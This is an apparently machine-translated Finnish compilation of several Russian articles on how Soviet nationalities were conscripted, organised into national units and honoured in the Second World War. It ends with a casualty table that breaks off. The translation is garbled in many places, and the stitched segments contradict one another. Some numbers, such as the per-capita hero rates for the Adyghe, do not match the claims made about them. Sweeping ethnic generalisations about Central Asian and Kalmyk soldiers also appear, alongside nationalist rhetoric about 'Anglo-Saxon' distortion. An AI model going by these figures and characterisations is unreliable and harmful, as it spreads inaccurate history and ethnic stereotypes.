Mitä Neuvostoliiton kansoja ei kutsuttu suureen isänmaalliseen sotaan? Mitkä Neuvostoliiton kansat kärsivät suurimmat tappiot Suuressa isänmaallisessa sodassa & nbsp SS-legioona "Vapaa Arabia"

Yleisesti uskotaan, että kaikki Neuvostoliiton kansat voittivat fasismin yhtäläisesti, ja on mahdotonta erottaa tai vähätellä yhtäkään niistä.
Tätä periaatetta millään tavalla kyseenalaistamatta toteamme kuitenkin, että sen ei pitäisi rajoittaa valtion politiikan tutkimista suhteessa Neuvostoliiton kansallisuuksiin.

Neuvostovaltio jakoi kansat enemmän tai vähemmän sille uskollisiin sekä enemmän tai vähemmän valmiisiin toimiin nykyaikaisessa sodassa historiallisesti vakiintuneiden kulttuurisen kehityksen ja sivistystason erojen vuoksi.
Suuren isänmaallisen sodan aikana Neuvostoliittoon kohdistuvan epälojaalisuuden pelosta neuvostoliiton kansalaisia, joilla oli omat valtionsa Neuvostoliiton lisäksi (ensisijaisesti Neuvostoliiton kanssa taistelleet valtiot tai mahdolliset vastustajat), ei otettu aktiiviseen armeijaan: saksalaisia, Japanilaiset, romanialaiset, unkarilaiset, suomalaiset, bulgarialaiset, turkkilaiset. Näistä muodostettiin takayksiköt, jotka osallistuivat erilaisiin, pääasiassa rakennustyö sotilaalliseen tarkoitukseen.
Tietysti jokaiseen sääntöön on poikkeuksia, ja myös täällä. Näiden kansallisuuksien edustajia löytyy Suuren isänmaallisen sodan rintamilla taistelleiden ja kuolleiden joukosta, Neuvostoliiton ritarikunnilla ja mitaleilla palkittujen joukossa. Pääsääntöisesti nämä olivat vapaaehtoisia, jotka otettiin aktiiviseen armeijaan poliittisen lojaalisuuden luottamuksen vuoksi (jäsenyys puolueessa, komsomolissa jne.).


On kummallista, että tässä luettelossa ei ole slovakkeja, kroaatteja ja italialaisia, joiden osavaltiot taistelivat myös Neuvostoliiton kanssa, eikä espanjalaisia. Tosiasia on, että kahta ensimmäistä kansallisuutta pidettiin Neuvostoliitossa sellaisina, joiden osavaltiot olivat natsien miehittämiä. Neuvostoliitossa vuonna 1942 muodostettiin Tšekkoslovakian sotilasyksikkö (ensimmäinen prikaati, sodan lopussa - joukko). Kroaatit eivät eronneet muista jugoslaveista. Italialaiset ja espanjalaiset, jotka hyväksyivät Neuvostoliiton kansalaisuuden, saattoivat olla vain vankkumattomia antifasisteja. Neuvostoliitossa oli erityisen paljon espanjalaisia, jotka muuttivat tasavallan tappion jälkeen sisällissodassa 1936-1939. He olivat asevelvollisuuden alaisia ​​yleisesti; lisäksi heidän joukossaan oli erittäin suuri vapaaehtoisten virta. Sodan aikana samoista poliittisen epäluotettavuuden syistä ja myös koko varusmiesjoukon riittämättömän korkeasta taistelutehokkuudesta johtuen useiden muiden kansallisuuksien edustajien asevelvollisuutta lykättiin. Joten 13. lokakuuta 1943 valtion puolustuskomitea (GKO) päätti vapauttaa vuonna 1926 syntyneiden nuorten asevelvollisuudesta, joka alkoi 15. marraskuuta 1943, kaikkien Transkaukasian ja Keski-Aasian liittotasavaltojen alkuperäiskansojen edustajat, Kazakstan sekä kaikki Pohjois-Kaukasuksen autonomiset tasavallat ja autonomiset alueet. Valtion puolustuskomitea päätti seuraavana päivänä aloittaa heidän asevelvollisuutensa ensi marraskuusta 1944 ja reserviin, ei aktiiviarmeijaan.
Usein näitä asetuksia tulkitaan väärin näiden kansallisuuksien asevelvollisuuden lopettamiseksi. Niissä todetaan kuitenkin selvästi, että asevelvollisuuden lykkäys koskee vain mainitun syntymävuoden nuoria. Se ei ulottunut vanhempiin ikään.
Melko epäselvissä oloissa Kauko-Pohjan, Siperian ja Kaukoidän alkuperäiskansojen keskuudessa vallitsi veto. Ennen kuin Neuvostoliiton laki yleismaailmallisesta sotilasvelvollisuudesta hyväksyttiin 3.9.1939, heidän edustajiaan ei kutsuttu armeija. Syksyllä 1939 heidän ensimmäinen kutsunsa tapahtui. Joissakin lähteissä voi kohdata lausuntoja, että Suuren isänmaallisen sodan ensimmäisistä päivistä lähtien pohjoisen alkuperäiskansojen edustajia alettiin kutsua rintamalle. Tämä on ristiriidassa viittaukset GKO:n asetukseen, joka annettiin ensimmäisinä viikkoina sodan alkamisen jälkeen ja joka koskee näiden RSFSR:n alueiden alkuperäiskansojen vapauttamista asevelvollisuudesta. Totta, tällaisen päätöksen päivämäärästä ja numerosta ei ole tarkkoja tietoja. Sen etsiminen nimellä ei tuottanut tulosta. Kaikkia vuoden 1941 GKO:n päätöslauselmia ei kuitenkaan ole julkaistu.
Samat kirjoittajat raportoivat, että useissa tapauksissa pohjoisen alkuperäiskansojen asevelvollisuutta lähestyttiin muodollisesti ja varusmiesten karkoittamista oli lukuisia. Lisäksi poronkuljetuspataljoonat muodostettiin Arkangelin alueen Nenetsien kansallispiiriin tammikuussa 1942. Viitteitä vastaavista muodostumista on muilla pohjoisen alueilla. Monien pohjoisen alkuperäiskansojen edustajien nimet, jotka taistelivat puna-armeijassa suuressa isänmaallisessa sodassa ja saivat Neuvostoliiton ritarikunnat ja mitalit, tunnetaan. Heidän joukossaan on jalkaväkimiehiä, tarkka-ampujia, lentäjiä jne.

Kaikesta tästä on perusteltua päätellä, että Pohjoisen, Siperian ja Kaukoidän pienten kansojen – saamelaisten, nenetsien, hantien, mansien, evenkien, selkuppien, dolgaanien, eventien, tšuktsien – keskuudessa on täysi pakollinen asevelvollisuus aktiiviseen armeijaan. , Koryakit, Yukaghirs, Nanais, Oroch jne. - ei suoritettu (vaikka joidenkin paikallisten päälliköiden tällainen amatööriesitys ei ole poissuljettu). Kuitenkin useissa valtakunnallisissa piireissä aboriginaaliväestöstä muodostettiin pakollisen asevelvollisuuden pohjalta aputakalayksiköitä, kuten jo mainitut poronkuljetuspataljoonat, joita käytettiin operaatioteatterin erityisolosuhteissa - Karjalan ja Volhovin rintamalla. Asevelvollisuuden poissaolo johtui lisäksi riittämättömästä koulutustasosta moderni sota, näiden kansojen nomadinen elämäntapa, heidän sotilaallisen kirjanpidonsa vaikeudet.
Samalla rohkaistiin kaikin mahdollisin tavoin vapaaehtoisliikettä pohjoisten alkuperäiskansojen edustajien keskuudessa. Vapaaehtoiset valittiin armeijan rekisteröinti- ja värväystoimistoissa ennen lähettämistä rintamalle. Etusijalle annettiin ne, jotka täyttivät seuraavat kriteerit: venäjän kielen taito, vähintään perusasteen koulutus ja hyvä terveys. Etusijalla olivat myös alkuperäiskansojen puolue- ja komsomoliaktivistit. Ammattimaisten taigametsästäjien tarkka-ampuja-ominaisuudet arvostettiin suuresti. Kaikki tämä loi melko voimakkaan tämän luokan Neuvostoliiton kansalaisten virran aktiiviseen armeijaan ja erityisesti erilaisiin apuyksiköihin huolimatta siitä, että sen edustajia ei ollut pakko lähettää rintamaan.


© Jaroslav Butakov

Pavel Prjanikov

Suuren isänmaallisen sodan aikana kokeilu kansallisten yksiköiden muodostamisesta epäonnistui. Jotkut, kuten kalmykit, siirtyivät joukoittain saksalaisten puolelle. Muut - Keski-Aasian yksiköt - eivät olleet taistelukykyisiä. Vain tuvalaiset ja pohjoisen alkuperäiskansat osoittivat olevansa todellisia sotilaita.

Kuuluisassa puheessaan voiton jälkeen Stalin ehdotti maljaa voittajalle Venäjän kansalle. Tämä on ehkä ainoa esimerkki Neuvostoliiton historia kun maljaa julistettiin julkisesti kansan kunniaksi. Virallinen propaganda mieluummin näki kollektiivisen voittajan (toisin kuin häviäjät - "juurettomat kosmopoliitit" tai "saksalaiset vakoilijat") keskiarvona: Neuvostoliiton. Oli syitä sellaiseen asenteeseen "voittajakansoja" kohtaan.

Muskovan, Venäjän ja varhaisen Neuvostoliiton sotilasasioiden historia ei todista vain kansallisten yksiköiden läsnäolosta armeijassamme, vaan myös viranomaisten määrätietoisesta kannustuksesta tähän käytäntöön. Tällaisten yksiköiden olemassaolo on aina perustunut "hajaa ja hallitse" -periaatteeseen ja käytäntöön käyttää sotilasasioissa tietyn kansan ominaisuuksia ja perinteisiä taitoja. Punaiset veivät tämän käytännön täydellisyyteen sisällissodassa: heidän puolellaan taisteli jopa 65 tuhatta ihmistä kansallisista kokoonpanoista, pääasiassa latvialaisia, unkarilaisia, tšekkejä, kiinalaisia ​​ja suomalaisia.

Kuitenkin 30-luvulla uusi sodankäyntitaktiikka tasoitti kansallisten yksiköiden ansioita. Silloisten sotilasstrategien kevyellä kädellä ei noussut esiin terävä silmä, jäljittäjätaito tai kyky pyörittää sapelia, vaan soturin tekninen varustelu, monipuolisuus. Lisäksi sotakoneet ovat saavuttaneet kehitysvaiheen, jossa "keihäsmies" (ja kaikkien Euroopan maiden, myös Neuvostoliiton, pienet kansat sellaisina esiteltiin hiljaisesti) ei enää voinut vastustaa niitä. Siksi yhtenäinen sotilas tunnustettiin tuolloin ainoaksi todelliseksi malliksi kaikille Euroopan armeijoille.

Neuvostoliitossa kansallisten yksiköiden muodostamisesta kieltäytyminen säädettiin 7. maaliskuuta 1938 liittovaltion bolshevikkien kommunistisen puolueen keskuskomitean ja Neuvostoliiton kansankomissaarien neuvoston asetuksella "Kansallisista yksiköistä ja kokoonpanoista puna-armeijasta." Siihen mennessä heidän todellinen lukumääränsä ei kuitenkaan ylittänyt tusinaa pataljoonaa - latvialainen, vuori jne.

Natsit olivat ensimmäisiä, jotka palauttivat kansallisia yksiköitä armeijaan. Vuosien 1939–1940 kampanjan onnistumisen ansiosta saksalaisten rivejä täydennettiin ei vain sadoilla tuhansilla tappion maiden vapaaehtoisilla, vaan myös kymmenillä divisioonoilla, joita miehitetyn alueiden nukkehallitukset halusivat lisätä Saksan armeija. Vain SS-joukot ottivat esikuntaansa yhteensä 400 tuhatta "eurooppalaista vapaaehtoista" ja yhteensä noin 1,9 miljoonaa "liittoutuneiden sotilasta" osallistui sotaan Hitlerin puolella. Eksoottisimpaan asti: esimerkiksi Neuvostoliiton sota-arkistot todistavat, että natsien sotavankien joukossa oli 3608 mongoleja, 10173 juutalaista, 12918 kiinalaista ja jopa 383 mustalaista.

Neuvostoliitto ei voinut ylpeillä paitsi vastaavalla määrällä liittolaisia, myös ulkomaisia ​​vapaaehtoisia. De jure vain kaksi maata tarjosi meille virallisesti kansallisten armeijoidensa apua - Meksiko ja Tuva. Stalin kuitenkin epäili Molotovin muistelmien mukaan meksikolaisia ​​"pehmeydestä" ja kieltäytyi heidän palveluistaan. Mutta Tuvan kanssa, jota pidettiin vuoteen 1944 asti itsenäisenä valtiona, kaikki meni hienosti.

(Tuvan Stalin - Bayan-Badorkhu kirjoittaa kirjeen veljelliselle Venäjän kansalle)

Vuonna 1941 Tuvan väkiluku oli noin 80 tuhatta ihmistä, paikallisten komissaarien johtama maa vietti puolifeodaalista elämäntapaa, ja jopa puolet pääkaupungin - Kyzylin - asukkaista sopeutui karjan muuttoon ja lähti säännöllisesti kaupungista karjaa vuoristolaitumille. Mutta köyhyydestä ja harvasta väestöstä huolimatta tasavalta päätti muutama päivä sodan alkamisen jälkeen antaa veljellistä apua Neuvostoliitolle. Vuosina 1941-42 Tuvasta lähetettiin rintamalle yli 40 tuhatta hevosta sekä noin miljoona nautaeläintä. Ja syyskuussa 1943 tasavallassa muodostettiin 206 hengen ratsuväen laivue.

Se oli klassinen kansallisyksikkö: omassa komennossaan ja jopa kansallispukuissa (myöhemmin, vuoden 1944 alussa, tuvalaiset olivat vielä pukeutuneet neuvostoliittoon armeijan univormu). Totta, Neuvostoliiton alueella jo ollut Neuvostoliiton komento pyysi tuvalaisia ​​lähettämään takaisin kotimaahansa "buddhalaisen kultin esineitä".

Heidät tuotiin Kovrovin kaupunkiin, asettuivat erillisiin kasarmeihin ja heille alettiin opettaa modernia sotilaallista taktiikkaa sekä venäjän kieltä. Joulukuussa 1943 tuvalaiset saapuivat etulinjaan, lähellä Snegirevkan kylää Smolenskin alue. Viikon harkinnan jälkeen Neuvostoliiton komento päätti kuitenkin olla lähettämättä tuvalaisia ​​rintamalle erillisenä yksikkönä ja apuyksiköinä, vaan kaataa heidät 8. 31. Kaartin Kuban-Tšernomorskin ratsuväkirykmenttiin. vartijoiden divisioona nimetty 1. Ukrainan rintaman 13. armeijan 6. ratsuväkijoukon Morozovin mukaan.

Rykmentissä tuvaneille uskottiin vihollisen pelotteleminen, ja he tekivät sen kanssa erinomaista työtä. Joten 31. tammikuuta 1944, aivan ensimmäisessä taistelussa Duraznon lähellä, ratsumiehet hyppäsivät pienillä pörröisillä hevosilla ja sapelilla edistyneille saksalaisille yksiköille. Hieman myöhemmin vangittu saksalainen upseeri muistutti, että spektaakkelilla oli demoralisoiva vaikutus hänen sotilaisiinsa, jotka alitajuisella tasolla pitivät "näitä barbaareja" Attilan laumoina.

Tämän taistelun jälkeen saksalaiset antoivat heille nimen der Schwarze Tod - Mustasurma. Saksalaisten kauhu liittyi myös siihen, että omiin armeijan sääntöihinsä sitoutuneet tuvalaiset eivät periaatteessa ottaneet vihollista vangiksi.

Maaliskuussa 1944 Neuvostoliiton komento päätti yllättäen lähettää useissa taisteluissa urheasti esiintyneet tuvalaiset takaisin kotiin. Miksi on vielä epäselvä. Neuvostoliiton upseerit, jotka taistelivat rinta rinnan tuvanien kanssa, vakuuttivat, että syy oli "oma sotilassäännöt".

Todennäköisimmin todellinen syy tuvanien kotiin lähettämiseen on kuitenkin Stalinin pelko mahdollisia kansallisia yksiköitä kohtaan. Neuvostoliiton armeija. Muisto heidän roolistaan ​​vallankumouksessa ja sisällissota oli vielä tuore, ja hypoteettinen mahdollisuus, että he voisivat kääntää aseensa takaisin, pelotti Stalinia enemmän kuin rintamien paljastaminen. Esimerkki Andersin komennossa olevasta Puolan armeijasta, joka muodostettiin Neuvostoliiton alueelle Puolan kansalaisista ja maan länsirajoista karkotetuista puolalaisista, osoitti, että tällaiset muodostelmat alkavat nopeasti "heilata oikeuksia". Tai vielä pahempaa, pettä Isänmaan avoimesti.

Valtionpuolustuskomitea päätti 13. marraskuuta 1941 muodostaa kansallisia vapaaehtoisia ratsuväen divisioonaa Turkmenistaniin, Uzbekistaniin, Kazakstaniin, Kirgisiaan, Kalmykiaan, Bashkiriaan, Tšetšeni-Ingušiaan, Kabardino-Balkariaan sekä Donin ja Itävallan kasakkojen alueelle. Pohjois-Kaukasia. Mielenkiintoista on, että kaikkia näitä yhteyksiä täytyi tukea paikallisilla, tasavallan budjeteilla sekä erityisrahastoilla, jotka taas olivat näiden tasavaltojen kansalaisten lahjoittamia.

(Turkmenit menevät voittamaan Hitlerin)

Tässä esimerkki Kalmykin yksiköistä on suuntaa-antava. Kesäkuusta 1941 huhtikuuhun 1942 niihin rekisteröitiin yli 18 tuhatta vapaaehtoista. Jotkut heistä lähetettiin 56. armeijaan, ja toiset muodostivat 189. erillisen Kalmyk-rykmentin. He eivät kuitenkaan onnistuneet taistelemaan kunnolla. Syksyllä 1942 Saksan 16. moottoroidun divisioonan komentaja kenraalimajuri Heinrits muodosti Elistassa ensimmäisen Kalmykin ratsuväen laivueen. Marraskuuhun 1942 mennessä noin 2000 kalmykkia taisteli jo saksalaisten puolella Pohjois-Kaukasuksen alueella. Heitä oli vielä enemmän saksalaisissa apuyksiköissä. Tietenkin, tarkkaillen paikallisen väestön erittäin aktiivista siirtymistä vihollisen puolelle, valtion puolustuskomitea päätti työntää kalmykit eri osiin, joissa he olisivat "isoveljen" valvonnassa.

Asiat eivät olleet paremmin muiden kansallisten yksiköiden kanssa. Niistä 19 ratsuväen "kansallisdivisioonasta", jotka oli tarkoitus perustaa 13. marraskuuta 1941 tehdyn päätöksen mukaisesti, muodostettiin vain kuusi: tadžiki, turkmeeni, uzbeki, edellä mainitut kalmykit, baškiirit ja kabardi-balkarialaiset. GKO yritti rehellisesti täydentää puuttuvat 13 divisioonaa ja lähettää ne rintamalle, mutta se ei ollut siellä. Esimerkiksi Keski-Aasiasta tulleet varusmiehet eivät osaneet venäjän kieltä, eivät opiskelleet kovin hyvin eivätkä osoittaneet "kunnollista sotilaallista henkeä". Heidän koulutuksensa sotilaina kesti lopulta useita vuosia. Ainakin kesään 1943 mennessä koulutettiin ja lähetettiin rintamaan vielä 7 divisioonaa (5 Uzbekistanin ja 2 Turkmenistanin). Näitä yksiköitä suosittiin kuitenkin edelleen käytettäväksi takaosassa - lentokenttien, varastojen suojelemiseen, vangittujen saksalaisten saattajaan jne. Tähän mennessä kysymys tšetšeni-ingusi-, kabardino-balkarialaisten ja muiden kasakkayksiköiden muodostamisesta katosi itsestään : esimerkki heimotovereistaan, jotka päättivät palvella saksalaisia, ei inspiroinut ylipäällikköä liikaa. Kyllä, ja takana he pilasivat paljon verta. Esimerkiksi Neuvostoliiton NKVD:n rosvollisuuden torjuntaosaston mukaan Stavropolin alueella toimi 109 neuvostovastaista jengiä, Tšetšenian-Ingushetiassa 54, Kabardino-Balkariassa 47 ja Kalmykiassa 12. samalla Stavropolin alueella asui yli 18 tuhatta ihmistä ja Pohjois-Kaukasiassa noin 63 tuhatta. Karkureiden ja palvelusta välttyneiden henkilöiden kokonaismäärä Neuvostoliiton NKVD:n rosvollisuuden torjuntaosaston mukaan 1. tammikuuta , 1945, oli noin 1,6 miljoonaa ihmistä.

Myös kansallisten yksiköiden suuret henkilöstömenot vaikuttivat asiaan. Siten Azerbaidžanin 77. vuorikivääri, 416. ja 233. kivääridivisioona sekä 392. Georgian kivääridivisioona muodostettiin kahdesti. Transkaukasian uskonpuhdistuksen jälkeen heidän kansallinen kokoonpanonsa hämärtyi 70–80 prosentista georgialaisia ​​ja azerbaidžanilaisia ​​40–50 prosenttiin. Usein tällaisten muutosten vuoksi kansalliset yksiköt menettivät yleensä alkuperäisen nimensä. Esimerkiksi 87. Turkmenistanin erillisestä kivääriprikaatista tuli 76. kivääridivisioona ja 100. Kazakstanin kivääriprikaatista 1. kivääridivisioona.

(Erityinen erikoisala Keski-Aasian yksiköille oli vankien saattaja)

Kyllä, ja suurin osa esimerkillisistä kansallisista muodostelmista, jotka ylpeänä kantoivat etunimi koko sodan ajan voit "sitoutua maastoon" vain venyttelyllä. Esimerkiksi aivan ensimmäisessä muodostetussa kansallisessa yksikössä, Latvian 201. kivääridivisioonassa, latvialaisia ​​oli 51%, venäläisiä - 26%, juutalaisia ​​- 17%, puolalaisia ​​- 3%, muita kansallisuuksia - 6% (kun jaosto koostui 95:stä). % Latvian kansalaisista). Vuoteen 1944 mennessä latvialaisten osuus divisioonassa oli pudonnut 39 prosenttiin. Itse asiassa ainoa kansallinen muodostelma, joka ei käynyt läpi mitään muutoksia sotavuosien aikana (lukumäärässä, kansallisessa koostumuksessa, omanimessä), oli 88. erillinen kiinalainen kivääriprikaati, joka perustettiin Kaukoidän rintamalle elokuussa 1942 Itävallan käskyllä. Neuvostoliiton apulaispuolustuksen kansankomissaari. Hänen täytyi kuitenkin käydä sotaa vain kolme vuotta muodostumishetkestä - Japania vastaan, 9. elokuuta - 2. syyskuuta 1945.

Neuvostoliiton pohjoiset kansat osoittivat itsensä paljon menestyksekkäämmin - jos vain siksi, että heidän pienen lukumääränsä vuoksi heistä ei ollut mahdollista muodostaa divisioonaa tai edes rykmenttejä. Jakutit, nenetsit tai evenkit määrättiin usein yhdistettyihin asekokoonpanoihin, mutta sielläkin he olivat itse asiassa erillisinä taisteluyksiköinä, vaikkakin viisi henkilöä divisioonaa kohden. GKO:n erityisellä asetuksella vähemmistöt Pohjoisia ei otettu aktiiviseen armeijaan, mutta jo sodan ensimmäisinä päivinä heidän joukostaan ​​ilmestyi satoja vapaaehtoisia. Joten vuoden 1942 aikana yli 200 Nanais, 30 Orochia ja noin 80 Evenkia meni rintamalle. Yhteensä yli 3 tuhatta Siperian ja pohjoisen syntyperäistä taisteli armeijassa. Samaan aikaan Neuvostoliiton komento salli vain näiden kansojen muodostaa haaroja klaaniperiaatteen mukaisesti. Ryhmä tai jopa ryhmä saattoi koostua vain kimeistä, Onekosista tai digoreista.

Nämä ihmiset, kuten suurin osa Uzbekistanin tai Kirgisian yksiköistä, eivät osanneet juuri lainkaan venäjää. He eivät voineet kävellä muodostelmassa, he olivat heikkoja poliittisessa valmistelussa. Mutta vastineeksi lähes kaikilla pienkansojen vapaaehtoisilla oli yksi kiistaton etu armeijamme muihin sotilaisiin nähden: he osasivat sulautua luontoon ja kymmenestä laukauksesta osuivat oravan silmään ainakin yhdeksän kertaa. Tästä heille annettiin anteeksi heidän ulkoinen ja sisäinen ristiriita Neuvostoliiton sotilaan kuvan kanssa sekä pienet puiset epäjumalat, joita he käyttivät hirven ihon univormussa. Kyllä, kyllä, useat komentajat sallivat joitain edustajia pohjoiset kansat tällainen heikkous - heidän oma sotilaallinen univormunsa: yleensä nämä olivat korkeat turkissaappaat, hatut ja hirvennahasta tehdyt lammastakit. Kuuluisa tarkka-ampuja, Nanaian Torim Beldy, ompeli jopa epaulettia peurannahkaiseen viitteeseen.

Näiden kansojen sala-ampujien nimet tunnettiin paitsi Neuvostoliitossa myös Saksassa. Esimerkiksi Nanai Maxim Passarin tuhoamiseksi saksalainen komento lupasi 100 tuhatta Reichsmarkia. Heinäkuun 21. päivästä 1942 kuolemaansa asti tammikuussa 1943 hän tuhosi 236 natsia. Ja hänen haaransa, joka muodostui pohjoisen kansoista, asetti vasta syys-lokakuussa 1942 3 175 saksalaista.

Siitä huolimatta stalinistinen johto teki satunnaisia ​​yrityksiä muodostaa kansallisia yksiköitä Euroopan kansojen edustajista. Mutta pikemminkin poliittiset kuin sotilaalliset motiivit työnsivät hänet tähän: Neuvostoliiton oli tärkeää näyttää koko maailmalle, etteivät kaikki Hitlerin valloittamat tai hänen kanssaan yhteistyötä tehneet kansat jaa fasistisia näkemyksiä. Ja jos Puolan armeijan muodostaminen Neuvostoliiton alueella epäonnistui, niin muiden "eurooppalaisten kokoonpanojen" valmistuttua se osoittautui hieman paremmaksi. Osana Neuvostoliiton armeijan sotilasyksikköjä Puolan armeijan 1. ja 2. armeija, Tšekkoslovakian armeijajoukot ja ranskalainen Normandia-Neman-lentorykmentti taistelivat saksalaisia ​​vastaan. He (paitsi Normandie-Niemen) koostuivat kuitenkin pääosin puolalaista tai tšekkiläisistä Neuvostoliiton kansalaisista, ja heille annetut taistelutehtävät olivat vähäisiä: miinanraivausalueet Saksan vetäytymisen jälkeen, logistiikka ja alueiden puhdistaminen. Tai näyttäviä tapahtumia - esimerkiksi puolalaisten yksiköiden juhlallinen sisääntulo saksalaisista vapautettuihin kotikaupunki. Lisäksi näitä yksiköitä ei voitu edes muodollisesti pitää neuvostoliittolaisina. Esimerkiksi Tšekin armeijajoukon henkilökunta oli pukeutunut Tšekkoslovakian sotilasunivormuihin, heillä oli tšekkoslovakian sotilasarvot ja palveli Tšekkoslovakian armeijan sotilassäännöissä. Organisatorisissa kysymyksissä pataljoona oli Tšekkoslovakian maanpaossa olevan hallituksen alainen.

(Tšekkiläiset legioonalaiset marssivat Uralin Buzulukin kaupungin läpi, 1942)

Jopa Jugoslaviasta, Neuvostoliiton lähimmästä ja vilpittömimmästä liittolaisesta sodan aikana, muodostuminen Neuvostoliiton alueelle oli luonteeltaan fantasmagorista. Serbialainen antifasisti Obradovic, joka taisteli saksalaisia ​​vastaan ​​partisaanijoukossa kotimaassaan, muisteli: ”Saimme tietää, että Neuvostoliitossa oli muodostettu Jugoslavian prikaati. Me Jugoslaviassa emme voineet ymmärtää, miksi Neuvostoliitossa oli niin paljon jugoslavia. Vasta vuonna 1945 ymmärsimme, että Jugoslavian prikaati koostui Stalingradissa vangitun kroatialaisesta rykmentistä. Neuvostoliiton leirissä siitä valittiin hieman yli tuhat ihmistä komentaja Mesichin johdolla, sitten sinne lisättiin Jugoslavian poliittisia emigrantteja Kominternistä, ja muodostumista johti Neuvostoliiton upseerit ja turvahenkilöitä. Erityisesti NKVD:n nuori kenraali Zhukov.

Suuren isänmaallisen sodan aikana kaikkien tasavaltojen ja kaikkien Neuvostoliiton kansojen pojat ja tyttäret taistelivat rinta rinnan. Jokaisella kansalla tässä sodassa oli sankarinsa.

Kansat, joilla oli eniten sankareita

Suuren isänmaallisen sodan aikana sankarit Neuvostoliitto 7998 venäläistä, 2021 ukrainalaista, 299 valkovenäläistä tuli. Seuraavat sankarien lukumäärällä ovat tataarit - 161, juutalaiset - 107, kazakstanit - 96, georgialaiset - 90, armenialaiset - 89.

Muut kansat

Ei paljon georgialaisia ​​ja armenialaisia ​​jäljessä olivat uzbekit - 67 sankaria, mordvinalaiset - 63, tšuvashit - 45, azerbaidžanit - 43, baškiirit - 38, ossetit - 33.

Kumpikin 9 sankaria tuli saksalaisista (puhumme tietysti Volgan saksalaisista) ja Viron kansoista, kukin 8 karjalaisista, burjaateista ja mongoleista, kalmykeistä, kabardeista. Adygit antoivat maalle 6 sankaria, abhasialaiset - 4, jakutit - 2, moldavalaiset - myös 2, tuvalaiset -1. Ja lopuksi, sorrettujen kansojen edustajat, kuten tšetšeenit ja Krimin tataarit, taistelivat yhtä rohkeasti kuin muut. 5 tšetšeeniä ja 6 Krimin tataarit heille myönnettiin Neuvostoliiton sankarin arvonimi.

Tietoja "epämukavista" kansallisuuksista

Neuvostoliiton kotitalouksien tasolla niitä ei käytännössä ollut etnisiä konflikteja, kaikki asuivat rauhallisesti vierekkäin ja kohtelivat toisiaan, jos ei veljellisesti, niin hyvinä naapureina. Valtion tasolla oli kuitenkin aikoja, jolloin joitain kansoja pidettiin "väärinä". Nämä ovat ennen kaikkea tukahdutetut kansat ja juutalaiset.

Jokainen, joka on vähänkin kiinnostunut Krimin tataareista, tietää Ametkhan Sultanin, legendaarisen ässälentäjän, kahdesti Neuvostoliiton sankarin. Teoksia suorittivat myös Tšetšenian kansan edustajat. Kuten tiedätte, vuonna 1942 Tšetšenian-Ingushin tasavallan asukkaiden asevelvollisuus rintamalle lopetettiin, mutta tämän vuoden kesän loppuun mennessä, kun natsit hyökkäsivät Pohjois-Kaukasiaan, päätettiin kutsua vapaaehtoisia joukosta. tšetšeenit ja ingušit rintamalle. Rekrytointiasemille saapui 18,5 tuhatta vapaaehtoista. He taistelivat kuolemaan asti Stalingradin laitamilla osana erillistä tšetšeeni-ingush-rykmenttiä.

Juutalaisista on usein mielipide, että tämän muinaisen kansan edustajat kykenevät ennen kaikkea henkiseen työhön ja kaupankäyntiin, ja heistä tulevat soturit ovat niin ja niin. Ja se ei ole totta. Suuren aikaan tuli 107 juutalaista Isänmaalliset sankarit Neuvostoliitto. Esimerkiksi juutalaisten ansio organisaatiossa partisaaniliike Odessassa.

"Luonnollisista" luvuista prosenttilukuihin

7998 venäläisestä tuli Neuvostoliiton sankareita sotavuosina. Ensi silmäyksellä tämä luku on paljon enemmän kuin 6 - niin monta Neuvostoliiton sankareita tšerkessistä. Kuitenkin, jos tarkastellaan sankarien prosenttiosuutta väestöstä, saat täysin toisenlaisen kuvan. Vuoden 1939 väestönlaskenta osoitti, että maassa asuu 99 591 520 venäläistä. Adyghes - 88115. Ja käy ilmi, että sankarien prosenttiosuus "asukasta" kohden pienen adygheen joukossa on jopa hieman korkeampi kuin venäläisten keskuudessa - 0,0068 vastaan ​​0,0080. Ukrainalaisten "sankarillisuuden prosenttiosuus" on 0,0072, valkovenäläisten - 0,0056, uzbekkien - 0,0013, tšetšeenien - 0,0012 ja niin edelleen. On selvää, ettei sankarien määrää sinänsä voida pitää kansallishengen tyhjentävänä ominaisuutena, mutta sankarien lukumäärän ja kokonaisväestön suhde kertoo jotakin kansasta. Jos tarkastellaan näitä tilastoja Neuvostoliiton kansojen esimerkillä, tulee selväksi, että sotavuosina jokainen kansamme osallistui oman osuutensa kokonaisvoittoon, ja olisi räikeä epäoikeudenmukaisuus erottaa joku.

71-vuotisjuhla päättyi Mahtava voitto fasismin yli. Tämän Voiton merkitys on korvaamaton koko maailman järkevälle ihmiskunnalle, mutta erityisesti sen asukkaille. entinen Neuvostoliitto.
Mitä enemmän päivämäärä 9. toukokuuta 1945 siirtyy meistä ajassa pois, sitä enemmän ilmestyy tuhoavia voimia, jotka haluavat vääristää tämän Voiton merkitystä, ymmärrystä ja rakentamista.

Eikä ole turhaa, että maan johto seuraa valppaasti yrityksiä ajatella uudelleen ja muotoilla uudelleen neuvostokansan sotilaallisia ja työvoimavoittoja.

Mutta jos länsimaisten anglosaksisten joukkojen pyrkimykset vääristää Voiton suuruutta ovat ymmärrettäviä, niin entisten neuvostotasavaltojen yritykset liittyä näihin voimiin ovat täysin käsittämättömiä. Okei, suljetaanpa silmämme Baltian maat. Mutta muiden entisten "meidän" yritykset, vaikkakin arkoja, eivät ole lainkaan selkeitä. Joko he muuttavat loman nimen, peruuttavat paraatit, sitten jotain muuta ... En halua nimetä näitä maita, mielestäni kaikki tietävät niistä tiedotusvälineiden perusteella.
Ymmärtääkseni tämän käsittämättömän tilanteen päätin tarkastella tilastoja, luvut eivät valehtele, ne todistavat aina hiljaa todellisuudesta.

Katsotaanpa niitä.

Tab. 1 Neuvostoliiton ja liittotasavaltojen väkiluku, tuhat ihmistä

Tab. 2 Neuvostoliiton kansat Suuressa Isänmaallinen sota




№№
Kansallisuus
Numero Neuvostoliitossa vuonna 1939
Kuolleiden sotilashenkilöiden määrä
% Neuvostoliiton väestöstä vuonna 1939
%:sta kokonaismäärä kuolleita sotilaita
% kuolleista sotilashenkilöstöstä tietyn kansallisuuden kokonaismäärästä
1
Venäjän kieli
99.591.520
5.756.000
58,39%
66,40%
5,78%
2
ukrainalaiset
28.111.007
1.377.400
16,48%
15,89%
4,90%
3
valkovenäläiset
5.275.393
252.900
3,09%
2,92%
4,79%
4
Uzbekit
4.845.140
117.900
2,84%
1,36%
2,43%
5
tataarit
4.313.488
187.700
2,53%
2,17%
4,35%
6
kazakstanilaiset
3.100.949
125.500
1,82%
1,45%
4,05%
7
juutalaiset
3.028.538
142.500
1,78%
1,64%
4,71%
8
azerbaidžanilaiset
2.275.678
